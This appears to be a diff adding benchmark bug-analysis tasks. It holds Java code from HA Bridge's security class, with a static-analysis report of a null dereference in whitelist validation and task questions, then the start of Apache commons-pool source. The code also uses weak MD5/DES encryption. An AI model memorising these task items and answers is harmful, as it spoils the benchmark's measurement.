+					User theUser = securityDescriptor.getUsers().get(aUser.getUsername());
+					if(theUser != null) {
+						theUser.setPassword(aUser.getPassword());
+						theUser.setPassword2(null);
+						settingsChanged = true;
+					}
+					else
+						error = "User not found";
+				}
+				else
+					error = "User not found";
+			}
+		}
+		else
+			error = "invalid user object given";
+		
+		return error;
+	}
+
+	public String addUser(User aUser) throws IOException {
+		String error = null;
+		if(aUser != null) {
+			error = aUser.validate();
+			if(error == null) {
+				if(securityDescriptor.getUsers() == null)
+					securityDescriptor.setUsers(new HashMap<String, User>());
+				if(securityDescriptor.getUsers().get(aUser.getUsername()) == null) {
+					securityDescriptor.getUsers().put(aUser.getUsername(), aUser);
+					settingsChanged = true;
+				}
+				else
+					error = "Invalid request";
+			}
+		}
+		else
+			error = "invalid user object given";
+		
+		return error;
+	}
+
+	public String delUser(User aUser) throws IOException {
+		String error = null;
+		if(aUser != null) {
+				if(securityDescriptor.getUsers() != null) {
+				if(securityDescriptor.getUsers().get(aUser.getUsername()) != null) {
+					securityDescriptor.getUsers().remove(aUser.getUsername());
+					settingsChanged = true;
+				}
+				else
+					error = "User not found";
+				}
+		}
+		else
+			error = "invalid user object given";
+		
+		return error;
+	}
+
+	public String getExecGarden() {
+		return execGarden;
+	}
+	public void setUseLinkButton(boolean useThis) {
+		securityDescriptor.setUseLinkButton(useThis);
+		settingsChanged = true;
+	}
+
+	public boolean isSecureHueApi() {
+		return securityDescriptor.isSecureHueApi();
+	}
+	
+	public void setSecureHueApi(boolean theState) {
+		securityDescriptor.setSecureHueApi(theState);
+	}
+	public SecurityInfo getSecurityInfo() {
+		SecurityInfo theInfo = new SecurityInfo();
+		theInfo.setUseLinkButton(isUseLinkButton());
+		theInfo.setSecureHueApi(isSecureHueApi());
+		theInfo.setSecure(isSecure());
+		return theInfo;
+	}
+	public LoginResult validatePassword(User targetUser) throws IOException {
+		LoginResult result = new LoginResult();
+		if(targetUser != null && targetUser.getUsername() != null) {
+			if(securityDescriptor.getUsers() != null && securityDescriptor.getUsers().get(targetUser.getUsername()) != null) {
+				User theUser = securityDescriptor.getUsers().get(targetUser.getUsername());
+				if(theUser.getPassword() != null) {
+					theUser.setPassword2(targetUser.getPassword());
+					if(theUser.validatePassword()) {
+						theUser.setPassword2(null);
+						result.setUser(targetUser);
+					}
+					else
+						result.setError("user or password not correct");
+				} else {
+					result.setError("input password is not set....");
+				}
+			}
+			else
+				result.setError("user or password not correct");
+		}
+		else
+			result.setError("input user not given");
+		return result;
+	}
+	
+	public boolean isSecure() {
+		return securityDescriptor.isSecure();
+	}
+
+	public boolean isSettingsChanged() {
+		return settingsChanged;
+	}
+
+	public void setSettingsChanged(boolean settingsChanged) {
+		this.settingsChanged = settingsChanged;
+	}
+
+	public HueError[] validateWhitelistUser(String aUser, String userDescription, boolean strict) {
+		String validUser = null;
+		boolean found = false;
+		if (aUser != null && !aUser.equalsIgnoreCase("undefined") && !aUser.equalsIgnoreCase("null")
+				&& !aUser.equalsIgnoreCase("")) {
+			if (securityDescriptor.getWhitelist() != null) {
+				Set<String> theUserIds = securityDescriptor.getWhitelist().keySet();
+				Iterator<String> userIterator = theUserIds.iterator();
+				while (userIterator.hasNext()) {
+					validUser = userIterator.next();
+					if (validUser.equals(aUser))
+						found = true;
+				}
+			}
+		}
+
+		if(!found && !strict) {
+			newWhitelistUser(aUser, userDescription);
+			
+			found = true;
+		}
+		
+		if (!found) {
+			return HueErrorResponse.createResponse("1", "/api/" + aUser, "unauthorized user", null, null, null).getTheErrors();
+		}
+
+		Object anUser = securityDescriptor.getWhitelist().remove(DEPRACATED_INTERNAL_USER);
+		if(anUser != null)
+			setSettingsChanged(true);
+		
+		return null;
+	}
+	
+	public void newWhitelistUser(String aUser, String userDescription) {
+		if(aUser.equals(DEPRACATED_INTERNAL_USER))
+			return;
+		if (securityDescriptor.getWhitelist() == null) {
+			securityDescriptor.setWhitelist(new HashMap<>());
+		}
+		if(userDescription == null)
+			userDescription = "auto insert user";
+		
+		securityDescriptor.getWhitelist().put(aUser, WhitelistEntry.createEntry(userDescription));
+		setSettingsChanged(true);
+	}
+
+	public String createWhitelistUser(String userDescription) {
+		String aUser = getNewUserID();
+		newWhitelistUser(aUser, userDescription);
+		return aUser;
+	}
+
+	public void convertWhitelist(Map<String, WhitelistEntry> whitelist) {
+		securityDescriptor.setWhitelist(whitelist);
+	}
+
+	private String getNewUserID() {
+		UUID uid = UUID.randomUUID();
+		StringTokenizer st = new StringTokenizer(uid.toString(), "-");
+		String newUser = "";
+		while (st.hasMoreTokens()) {
+			newUser = newUser + st.nextToken();
+		}
+
+		return newUser;
+	}
+	
+	public void removeTestUsers() {
+		if (securityDescriptor.getWhitelist() != null) {
+			Object anUser = securityDescriptor.getWhitelist().remove(DEPRACATED_INTERNAL_USER);
+			if(anUser != null)
+				setSettingsChanged(true);
+
+		    Iterator<Entry<String, WhitelistEntry>> it = securityDescriptor.getWhitelist().entrySet().iterator();
+		    while (it.hasNext()) {
+		        Map.Entry<String, WhitelistEntry> pair = it.next();
+		        it.remove(); // avoids a ConcurrentModificationException
+		        if(pair.getValue().getName().equals(TEST_USER_TYPE)) {
+		        	securityDescriptor.getWhitelist().remove(pair.getKey());
+					setSettingsChanged(true);
+		        }
+		    }
+		}
+	}
+
+	private String encrypt(String property) throws GeneralSecurityException, UnsupportedEncodingException {
+        SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("PBEWithMD5AndDES");
+        SecretKey key = keyFactory.generateSecret(new PBEKeySpec(habridgeKey));
+        Cipher pbeCipher = Cipher.getInstance("PBEWithMD5AndDES");
+        pbeCipher.init(Cipher.ENCRYPT_MODE, key, new PBEParameterSpec(SALT, 20));
+        return base64Encode(pbeCipher.doFinal(property.getBytes("UTF-8")));
+    }
+
+    private static String base64Encode(byte[] bytes) {
+        return Base64.getEncoder().encodeToString(bytes);
+    }
+
+    private String decrypt(String property) throws GeneralSecurityException, IOException {
+        SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("PBEWithMD5AndDES");
+        SecretKey key = keyFactory.generateSecret(new PBEKeySpec(habridgeKey));
+        Cipher pbeCipher = Cipher.getInstance("PBEWithMD5AndDES");
+        pbeCipher.init(Cipher.DECRYPT_MODE, key, new PBEParameterSpec(SALT, 20));
+        return new String(pbeCipher.doFinal(base64Decode(property)), "UTF-8");
+    }
+
+    private static byte[] base64Decode(String property) throws IOException {
+        return Base64.getDecoder().decode(property);
+    }
+
+    public void addAuthenticatedUser(Request request, User u) {
+		request.session().attribute(USER_SESSION_ID, u);
+		
+	}
+
+	public void removeAuthenticatedUser(Request request) {
+		request.session().removeAttribute(USER_SESSION_ID);
+		
+	}
+
+	public User getAuthenticatedUser(Request request) {
+		User theUser = request.session().attribute(USER_SESSION_ID);
+		if(theUser == null) {
+			String authHeader = request.headers("Authorization");
+			if(authHeader != null) {
+			    byte[] authData;
+				try {
+					authData = base64Decode(authHeader.substring(6));
+				} catch (IOException e1) {
+					// TODO Auto-generated catch block
+					return theUser;
+				}
+			    String[] credentials = new String(authData).split(":");
+			    String username = credentials[0];
+			    String password = credentials[1];
+			    theUser = new User();
+			    theUser.setUsername(username);
+			    theUser.setPassword(password);
+			    LoginResult theResult = null;
+				try {
+					theResult = validatePassword(theUser);
+				} catch (IOException e) {
+					// TODO Auto-generated catch block
+					return null;
+				}
+				if(theResult != null && theResult.getError() == null) {
+					addAuthenticatedUser(request, theUser);
+				}
+			}
+		}
+		return theUser;
+	}
+}
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `BridgeSecurity.securityDescriptor.getWhitelist()` could be null and is dereferenced at line 231.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+com.bwssystems.HABridge.api.hue.HueError[] BridgeSecurity.validateWhitelistUser(String,String,boolean)
+
+### Procedure Id:
+com.bwssystems.HABridge.BridgeSecurity.validateWhitelistUser(java.lang.String,java.lang.String,boole.de988cbcaaf7ea685ba34f4c5e1521bd
+
+### File:
+src/main/java/com/bwssystems/HABridge/BridgeSecurity.java
+
+### Key:
+BridgeSecurity.java|validateWhitelistUser|NULL_DEREFERENCE
+
+### Node Key:
+3442af1456cb5324245dc37b47d44129
+
+### Hash:
+0e2ee63f059cd23067ae0defcb2669d5
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3439/instruction.md b/inferredbugs-3439/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..1242988a3a5afbf5856735b3975d6b3c99eddd7a
--- /dev/null
+++ b/inferredbugs-3439/instruction.md
@@ -0,0 +1,2202 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** commons-pool
+**Bug ID:** 27
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.commons.pool2.impl;
+
+import java.lang.management.ManagementFactory;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.NoSuchElementException;
+import java.util.TimerTask;
+import java.util.TreeMap;
+import java.util.concurrent.ConcurrentHashMap;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicInteger;
+import java.util.concurrent.atomic.AtomicLong;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReadWriteLock;
+import java.util.concurrent.locks.ReentrantReadWriteLock;
+
+import javax.management.InstanceAlreadyExistsException;
+import javax.management.MBeanRegistrationException;
+import javax.management.MBeanServer;
+import javax.management.MalformedObjectNameException;
+import javax.management.NotCompliantMBeanException;
+import javax.management.ObjectName;
+
+import org.apache.commons.pool2.KeyedObjectPool;
+import org.apache.commons.pool2.KeyedPoolableObjectFactory;
+import org.apache.commons.pool2.PoolUtils;
+
+/**
+ * A configurable <code>KeyedObjectPool</code> implementation.
+ * <p>
+ * When coupled with the appropriate {@link KeyedPoolableObjectFactory},
+ * <code>GenericKeyedObjectPool</code> provides robust pooling functionality for
+ * keyed objects. A <code>GenericKeyedObjectPool</code> can be viewed as a map
+ * of pools, keyed on the (unique) key values provided to the
+ * {@link #preparePool preparePool}, {@link #addObject addObject} or
+ * {@link #borrowObject borrowObject} methods. Each time a new key value is
+ * provided to one of these methods, a new pool is created under the given key
+ * to be managed by the containing <code>GenericKeyedObjectPool.</code>
+ * </p>
+ * <p>A <code>GenericKeyedObjectPool</code> provides a number of configurable
+ * parameters:</p>
+ * <ul>
+ *  <li>
+ *    {@link #setMaxTotalPerKey maxTotalPerKey} controls the maximum number of objects
+ *    (per key) that can allocated by the pool (checked out to client threads,
+ *    or idle in the pool) at one time.  When non-positive, there is no limit
+ *    to the number of objects per key. When {@link #setMaxTotalPerKey maxTotalPerKey} is
+ *    reached, the keyed pool is said to be exhausted.  The default setting for
+ *    this parameter is 8.
+ *  </li>
+ *  <li>
+ *    {@link #setMaxTotal maxTotal} sets a global limit on the number of objects
+ *    that can be in circulation (active or idle) within the combined set of
+ *    pools.  When non-positive, there is no limit to the total number of
+ *    objects in circulation. When {@link #setMaxTotal maxTotal} is exceeded,
+ *    all keyed pools are exhausted. When <code>maxTotal</code> is set to a
+ *    positive value and {@link #borrowObject borrowObject} is invoked
+ *    when at the limit with no idle instances available, an attempt is made to
+ *    create room by clearing the oldest 15% of the elements from the keyed
+ *    pools. The default setting for this parameter is -1 (no limit).
+ *  </li>
+ *  <li>
+ *    {@link #setMaxIdlePerKey maxIdlePerKey} controls the maximum number of objects that can
+ *    sit idle in the pool (per key) at any time.  When negative, there
+ *    is no limit to the number of objects that may be idle per key. The
+ *    default setting for this parameter is 8.
+ *  </li>
+ *  <li>
+ *    {@link #getBlockWhenExhausted} specifies the
+ *    behavior of the {@link #borrowObject borrowObject} method when a keyed
+ *    pool is exhausted:
+ *    <ul>
+ *    <li>
+ *      When {@link #getBlockWhenExhausted} is false,
+ *     {@link #borrowObject borrowObject} will throw
+ *      a {@link NoSuchElementException}
+ *    </li>
+ *    <li>
+ *      When {@link #getBlockWhenExhausted} is true,
+ *      {@link #borrowObject borrowObject} will block
+ *      (invoke {@link Object#wait() wait} until a new or idle object is available.
+ *      If a non-negative {@link #setMaxWait maxWait}
+ *      value is supplied, the {@link #borrowObject borrowObject} will block for at
+ *      most that many milliseconds, after which a {@link NoSuchElementException}
+ *      will be thrown.  If {@link #setMaxWait maxWait} is negative,
+ *      the {@link #borrowObject borrowObject} method will block indefinitely.
+ *    </li>
+ *    </ul>
+ *    The default {@link #getBlockWhenExhausted()} setting is true.
+ *  </li>
+ *  <li>
+ *    When {@link #setTestOnBorrow testOnBorrow} is set, the pool will
+ *    attempt to validate each object before it is returned from the
+ *    {@link #borrowObject borrowObject} method. (Using the provided factory's
+ *    {@link KeyedPoolableObjectFactory#validateObject validateObject} method.)
+ *    Objects that fail to validate will be dropped from the pool, and a
+ *    different object will be borrowed. The default setting for this parameter
+ *    is <code>false.</code>
+ *  </li>
+ *  <li>
+ *    When {@link #setTestOnReturn testOnReturn} is set, the pool will
+ *    attempt to validate each object before it is returned to the pool in the
+ *    {@link #returnObject returnObject} method. (Using the provided factory's
+ *    {@link KeyedPoolableObjectFactory#validateObject validateObject}
+ *    method.)  Objects that fail to validate will be dropped from the pool.
+ *    The default setting for this parameter is <code>false.</code>
+ *  </li>
+ * </ul>
+ * <p>
+ * Optionally, one may configure the pool to examine and possibly evict objects
+ * as they sit idle in the pool and to ensure that a minimum number of idle
+ * objects is maintained for each key. This is performed by an
+ * "idle object eviction" thread, which runs asynchronously. Caution should be
+ * used when configuring this optional feature. Eviction runs contend with client
+ * threads for access to objects in the pool, so if they run too frequently
+ * performance issues may result.  The idle object eviction thread may be
+ * configured using the following attributes:
+ * <ul>
+ *  <li>
+ *   {@link #setTimeBetweenEvictionRunsMillis timeBetweenEvictionRunsMillis}
+ *   indicates how long the eviction thread should sleep before "runs" of examining
+ *   idle objects.  When non-positive, no eviction thread will be launched. The
+ *   default setting for this parameter is -1 (i.e., by default, idle object
+ *   eviction is disabled).
+ *  </li>
+ *  <li>
+ *   {@link #setMinEvictableIdleTimeMillis minEvictableIdleTimeMillis}
+ *   specifies the minimum amount of time that an object may sit idle in the
+ *   pool before it is eligible for eviction due to idle time.  When
+ *   non-positive, no object will be dropped from the pool due to idle time
+ *   alone.  This setting has no effect unless
+ *   <code>timeBetweenEvictionRunsMillis > 0.</code>  The default setting
+ *   for this parameter is 30 minutes.
+ *  </li>
+ *  <li>
+ *   {@link #setTestWhileIdle testWhileIdle} indicates whether or not idle
+ *   objects should be validated using the factory's
+ *   {@link KeyedPoolableObjectFactory#validateObject validateObject} method
+ *   during idle object eviction runs.  Objects that fail to validate will be
+ *   dropped from the pool. This setting has no effect unless
+ *   <code>timeBetweenEvictionRunsMillis > 0.</code>  The default setting
+ *   for this parameter is <code>false.</code>
+ *  </li>
+ *  <li>
+ *    {@link #setMinIdlePerKey minIdlePerKey} sets a target value for the minimum number of
+ *    idle objects (per key) that should always be available. If this parameter
+ *    is set to a positive number and
+ *    <code>timeBetweenEvictionRunsMillis > 0,</code> each time the idle object
+ *    eviction thread runs, it will try to create enough idle instances so that
+ *    there will be <code>minIdle</code> idle instances available under each
+ *    key. This parameter is also used by {@link #preparePool preparePool}
+ *    if <code>true</code> is provided as that method's
+ *    <code>populateImmediately</code> parameter. The default setting for this
+ *    parameter is 0.
+ *  </li>
+ * </ul>
+ * <p>
+ * The pools can be configured to behave as LIFO queues with respect to idle
+ * objects - always returning the most recently used object from the pool,
+ * or as FIFO queues, where borrowObject always returns the oldest object
+ * in the idle object pool.
+ * <ul>
+ *  <li>
+ *   {@link #setLifo <i>Lifo</i>}
+ *   determines whether or not the pools return idle objects in
+ *   last-in-first-out order. The default setting for this parameter is
+ *   <code>true.</code>
+ *  </li>
+ * </ul>
+ * <p>
+ * GenericKeyedObjectPool is not usable without a {@link KeyedPoolableObjectFactory}.  A
+ * non-<code>null</code> factory must be provided as a constructor argument
+ * before the pool is used.
+ * </p>
+ * <p>
+ * Implementation note: To prevent possible deadlocks, care has been taken to
+ * ensure that no call to a factory method will occur within a synchronization
+ * block. See POOL-125 and DBCP-44 for more information.
+ * </p>
+ * @see GenericObjectPool
+ *
+ * @param <K> The type of keys maintained by this pool.
+ * @param <T> Type of element pooled in this pool.
+ *
+ * @author Rodney Waldhoff
+ * @author Dirk Verbeeck
+ * @author Sandy McArthur
+ * @version $Revision$ $Date$
+ * @since Pool 1.0
+ */
+public class GenericKeyedObjectPool<K,T> implements KeyedObjectPool<K,T>,
+    GenericKeyedObjectPoolMBean<K> {
+
+    //--- constructors -----------------------------------------------
+
+    /**
+     * Create a new <code>GenericKeyedObjectPool</code> using defaults and no
+     * factory.
+     */
+    public GenericKeyedObjectPool(KeyedPoolableObjectFactory<K,T> factory) {
+        this(factory, new GenericKeyedObjectPoolConfig());
+    }
+
+    /**
+     * Create a new <code>GenericKeyedObjectPool</code> using a specific
+     * configuration.
+     * 
+     * @param config    The configuration to use for this pool instance. The
+     *                  configuration is used by value. Subsequent changes to
+     *                  the configuration object will not be reflected in the
+     *                  pool.
+     */
+    public GenericKeyedObjectPool(KeyedPoolableObjectFactory<K,T> factory,
+            GenericKeyedObjectPoolConfig config) {
+        // Copy the settings from the config
+        this.factory = factory;
+        setConfig(config);
+
+        startEvictor(getMinEvictableIdleTimeMillis());
+
+        initStats();
+
+        ObjectName onameTemp = null;
+        // JMX Registration
+        if (config.isJmxEnabled()) {
+            MBeanServer mbs = ManagementFactory.getPlatformMBeanServer();
+            String jmxNamePrefix = config.getJmxNamePrefix();
+            int i = 1;
+            boolean registered = false;
+            while (!registered) {
+                try {
+                    ObjectName oname =
+                        new ObjectName(ONAME_BASE + jmxNamePrefix + i);
+                    mbs.registerMBean(this, oname);
+                    onameTemp = oname;
+                    registered = true;
+                } catch (MalformedObjectNameException e) {
+                    if (GenericObjectPoolConfig.DEFAULT_JMX_NAME_PREFIX.equals(
+                            jmxNamePrefix)) {
+                        // Shouldn't happen. Skip registration if it does.
+                        registered = true;
+                    } else {
+                        // Must be an invalid name prefix. Use the default
+                        // instead.
+                        jmxNamePrefix =
+                            GenericObjectPoolConfig.DEFAULT_JMX_NAME_PREFIX;
+                    }
+                } catch (InstanceAlreadyExistsException e) {
+                    // Increment the index and try again
+                    i++;
+                } catch (MBeanRegistrationException e) {
+                    // Shouldn't happen. Skip registration if it does.
+                    registered = true;
+                } catch (NotCompliantMBeanException e) {
+                    // Shouldn't happen. Skip registration if it does.
+                    registered = true;
+                }
+            }
+        }
+        this.oname = onameTemp;
+    }
+
+    //--- configuration methods --------------------------------------
+
+    /**
+     * Returns the cap on the number of object instances allocated by the pool
+     * (checked out or idle),  per key.
+     * A negative value indicates no limit.
+     *
+     * @return the cap on the number of active instances per key.
+     * @see #setMaxTotalPerKey
+     */
+    public int getMaxTotalPerKey() {
+        return maxTotalPerKey;
+    }
+
+    /**
+     * Sets the cap on the number of object instances managed by the pool per key.
+     * @param maxTotalPerKey The cap on the number of object instances per key.
+     * Use a negative value for no limit.
+     *
+     * @see #getMaxTotalPerKey
+     */
+    public void setMaxTotalPerKey(int maxTotalPerKey) {
+        this.maxTotalPerKey = maxTotalPerKey;
+    }
+
+    /**
+     * Returns the overall maximum number of objects (across pools) that can
+     * exist at one time. A negative value indicates no limit.
+     * @return the maximum number of instances in circulation at one time.
+     * @see #setMaxTotal
+     */
+    public int getMaxTotal() {
+        return maxTotal;
+    }
+
+    /**
+     * Sets the cap on the total number of instances from all pools combined.
+     * When <code>maxTotal</code> is set to a
+     * positive value and {@link #borrowObject borrowObject} is invoked
+     * when at the limit with no idle instances available, an attempt is made to
+     * create room by clearing the oldest 15% of the elements from the keyed
+     * pools.
+     *
+     * @param maxTotal The cap on the total number of instances across pools.
+     * Use a negative value for no limit.
+     * @see #getMaxTotal
+     */
+    public void setMaxTotal(int maxTotal) {
+        this.maxTotal = maxTotal;
+    }
+
+    /**
+     * Returns whether to block when the {@link #borrowObject} method
+     * is invoked when the pool is exhausted (the maximum number
+     * of "active" objects has been reached).
+     *
+     * @return true if the pool should block
+     * @see #setBlockWhenExhausted
+     */
+    public boolean getBlockWhenExhausted() {
+        return blockWhenExhausted;
+    }
+
+    /**
+     * Sets whether to block when the {@link #borrowObject} method
+     * is invoked when the pool is exhausted (the maximum number
+     * of "active" objects has been reached).
+     *
+     * @param shouldBlock true if the pool should block
+     * @see #getBlockWhenExhausted
+     */
+    public void setBlockWhenExhausted(boolean shouldBlock) {
+        blockWhenExhausted = shouldBlock;
+    }
+
+
+    /**
+     * Returns the maximum amount of time (in milliseconds) the
+     * {@link #borrowObject} method should block before throwing
+     * an exception when the pool is exhausted and the
+     * {@link #getBlockWhenExhausted} is true.
+     *
+     * When less than 0, the {@link #borrowObject} method
+     * may block indefinitely.
+     *
+     * @return the maximum number of milliseconds borrowObject will block.
+     * @see #setMaxWait
+     * @see #setBlockWhenExhausted
+     */
+    public long getMaxWait() {
+        return maxWait;
+    }
+
+    /**
+     * Sets the maximum amount of time (in milliseconds) the
+     * {@link #borrowObject} method should block before throwing
+     * an exception when the pool is exhausted and the
+     * {@link #getBlockWhenExhausted} is true.
+     *
+     * When less than 0, the {@link #borrowObject} method
+     * may block indefinitely.
+     *
+     * @param maxWait the maximum number of milliseconds borrowObject will block or negative for indefinitely.
+     * @see #getMaxWait
+     * @see #setBlockWhenExhausted
+     */
+    public void setMaxWait(long maxWait) {
+        this.maxWait = maxWait;
+    }
+
+    /**
+     * Returns the cap on the number of "idle" instances per key.
+     * @return the maximum number of "idle" instances that can be held
+     * in a given keyed pool.
+     * @see #setMaxIdlePerKey
+     */
+    public int getMaxIdlePerKey() {
+        return maxIdlePerKey;
+    }
+
+    /**
+     * Sets the cap on the number of "idle" instances in the pool.
+     * If maxIdle is set too low on heavily loaded systems it is possible you
+     * will see objects being destroyed and almost immediately new objects
+     * being created. This is a result of the active threads momentarily
+     * returning objects faster than they are requesting them them, causing the
+     * number of idle objects to rise above maxIdle. The best value for maxIdle
+     * for heavily loaded system will vary but the default is a good starting
+     * point.
+     * @param maxIdle the maximum number of "idle" instances that can be held
+     * in a given keyed pool. Use a negative value for no limit.
+     * @see #getMaxIdlePerKey
+     */
+    public void setMaxIdlePerKey(int maxIdle) {
+        maxIdlePerKey = maxIdle;
+    }
+
+    /**
+     * Sets the minimum number of idle objects to maintain in each of the keyed
+     * pools. This setting has no effect unless
+     * <code>timeBetweenEvictionRunsMillis > 0</code> and attempts to ensure
+     * that each pool has the required minimum number of instances are only
+     * made during idle object eviction runs.
+     * @param poolSize - The minimum size of the each keyed pool
+     * @since Pool 1.3
+     * @see #getMinIdlePerKey
+     * @see #setTimeBetweenEvictionRunsMillis
+     */
+    public void setMinIdlePerKey(int poolSize) {
+        minIdlePerKey = poolSize;
+    }
+
+    /**
+     * Returns the minimum number of idle objects to maintain in each of the keyed
+     * pools. This setting has no effect unless
+     * <code>timeBetweenEvictionRunsMillis > 0</code> and attempts to ensure
+     * that each pool has the required minimum number of instances are only
+     * made during idle object eviction runs.
+     * @return minimum size of the each keyed pool
+     * @since Pool 1.3
+     * @see #setTimeBetweenEvictionRunsMillis
+     */
+    public int getMinIdlePerKey() {
+        return minIdlePerKey;
+    }
+
+    /**
+     * When <code>true</code>, objects will be
+     * {@link org.apache.commons.pool2.PoolableObjectFactory#validateObject validated}
+     * before being returned by the {@link #borrowObject}
+     * method.  If the object fails to validate,
+     * it will be dropped from the pool, and we will attempt
+     * to borrow another.
+     *
+     * @return <code>true</code> if objects are validated before being borrowed.
+     * @see #setTestOnBorrow
+     */
+    public boolean getTestOnBorrow() {
+        return testOnBorrow;
+    }
+
+    /**
+     * When <code>true</code>, objects will be
+     * {@link org.apache.commons.pool2.PoolableObjectFactory#validateObject validated}
+     * before being returned by the {@link #borrowObject}
+     * method.  If the object fails to validate,
+     * it will be dropped from the pool, and we will attempt
+     * to borrow another.
+     *
+     * @param testOnBorrow whether object should be validated before being returned by borrowObject.
+     * @see #getTestOnBorrow
+     */
+    public void setTestOnBorrow(boolean testOnBorrow) {
+        this.testOnBorrow = testOnBorrow;
+    }
+
+    /**
+     * When <code>true</code>, objects will be
+     * {@link org.apache.commons.pool2.PoolableObjectFactory#validateObject validated}
+     * before being returned to the pool within the
+     * {@link #returnObject}.
+     *
+     * @return <code>true</code> when objects will be validated before being returned.
+     * @see #setTestOnReturn
+     */
+    public boolean getTestOnReturn() {
+        return testOnReturn;
+    }
+
+    /**
+     * When <code>true</code>, objects will be
+     * {@link org.apache.commons.pool2.PoolableObjectFactory#validateObject validated}
+     * before being returned to the pool within the
+     * {@link #returnObject}.
+     *
+     * @param testOnReturn <code>true</code> so objects will be validated before being returned.
+     * @see #getTestOnReturn
+     */
+    public void setTestOnReturn(boolean testOnReturn) {
+        this.testOnReturn = testOnReturn;
+    }
+
+    /**
+     * Returns the number of milliseconds to sleep between runs of the
+     * idle object evictor thread.
+     * When non-positive, no idle object evictor thread will be
+     * run.
+     *
+     * @return milliseconds to sleep between evictor runs.
+     * @see #setTimeBetweenEvictionRunsMillis
+     */
+    public long getTimeBetweenEvictionRunsMillis() {
+        return timeBetweenEvictionRunsMillis;
+    }
+
+    /**
+     * Sets the number of milliseconds to sleep between runs of the
+     * idle object evictor thread.
+     * When non-positive, no idle object evictor thread will be
+     * run.
+     *
+     * @param timeBetweenEvictionRunsMillis milliseconds to sleep between evictor runs.
+     * @see #getTimeBetweenEvictionRunsMillis
+     */
+    public void setTimeBetweenEvictionRunsMillis(long timeBetweenEvictionRunsMillis) {
+        this.timeBetweenEvictionRunsMillis = timeBetweenEvictionRunsMillis;
+        startEvictor(timeBetweenEvictionRunsMillis);
+    }
+
+    /**
+     * Returns the max number of objects to examine during each run of the
+     * idle object evictor thread (if any).
+     *
+     * @return number of objects to examine each eviction run.
+     * @see #setNumTestsPerEvictionRun
+     * @see #setTimeBetweenEvictionRunsMillis
+     */
+    public int getNumTestsPerEvictionRun() {
+        return numTestsPerEvictionRun;
+    }
+
+    /**
+     * Sets the max number of objects to examine during each run of the
+     * idle object evictor thread (if any).
+     * <p>
+     * When a negative value is supplied, 
+     * <code>ceil({@link #getNumIdle()})/abs({@link #getNumTestsPerEvictionRun})</code>
+     * tests will be run.  I.e., when the value is <code>-n</code>, roughly one <code>n</code>th of the
+     * idle objects will be tested per run.  When the value is positive, the number of tests
+     * actually performed in each run will be the minimum of this value and the number of instances
+     * idle in the pools.
+     *
+     * @param numTestsPerEvictionRun number of objects to examine each eviction run.
+     * @see #setNumTestsPerEvictionRun
+     * @see #setTimeBetweenEvictionRunsMillis
+     */
+    public void setNumTestsPerEvictionRun(int numTestsPerEvictionRun) {
+        this.numTestsPerEvictionRun = numTestsPerEvictionRun;
+    }
+
+    /**
+     * Returns the minimum amount of time an object may sit idle in the pool
+     * before it is eligible for eviction by the idle object evictor
+     * (if any).
+     *
+     * @return minimum amount of time an object may sit idle in the pool before it is eligible for eviction.
+     * @see #setMinEvictableIdleTimeMillis
+     * @see #setTimeBetweenEvictionRunsMillis
+     */
+    public long getMinEvictableIdleTimeMillis() {
+        return minEvictableIdleTimeMillis;
+    }
+
+    /**
+     * Sets the minimum amount of time an object may sit idle in the pool
+     * before it is eligible for eviction by the idle object evictor
+     * (if any).
+     * When non-positive, no objects will be evicted from the pool
+     * due to idle time alone.
+     *
+     * @param minEvictableIdleTimeMillis minimum amount of time an object may sit idle in the pool before
+     * it is eligible for eviction.
+     * @see #getMinEvictableIdleTimeMillis
+     * @see #setTimeBetweenEvictionRunsMillis
+     */
+    public void setMinEvictableIdleTimeMillis(long minEvictableIdleTimeMillis) {
+        this.minEvictableIdleTimeMillis = minEvictableIdleTimeMillis;
+    }
+
+    /**
+     * When <code>true</code>, objects will be
+     * {@link org.apache.commons.pool2.PoolableObjectFactory#validateObject validated}
+     * by the idle object evictor (if any).  If an object
+     * fails to validate, it will be dropped from the pool.
+     *
+     * @return <code>true</code> when objects are validated when borrowed.
+     * @see #setTestWhileIdle
+     * @see #setTimeBetweenEvictionRunsMillis
+     */
+    public boolean getTestWhileIdle() {
+        return testWhileIdle;
+    }
+
+    /**
+     * When <code>true</code>, objects will be
+     * {@link org.apache.commons.pool2.PoolableObjectFactory#validateObject validated}
+     * by the idle object evictor (if any).  If an object
+     * fails to validate, it will be dropped from the pool.
+     *
+     * @param testWhileIdle <code>true</code> so objects are validated when borrowed.
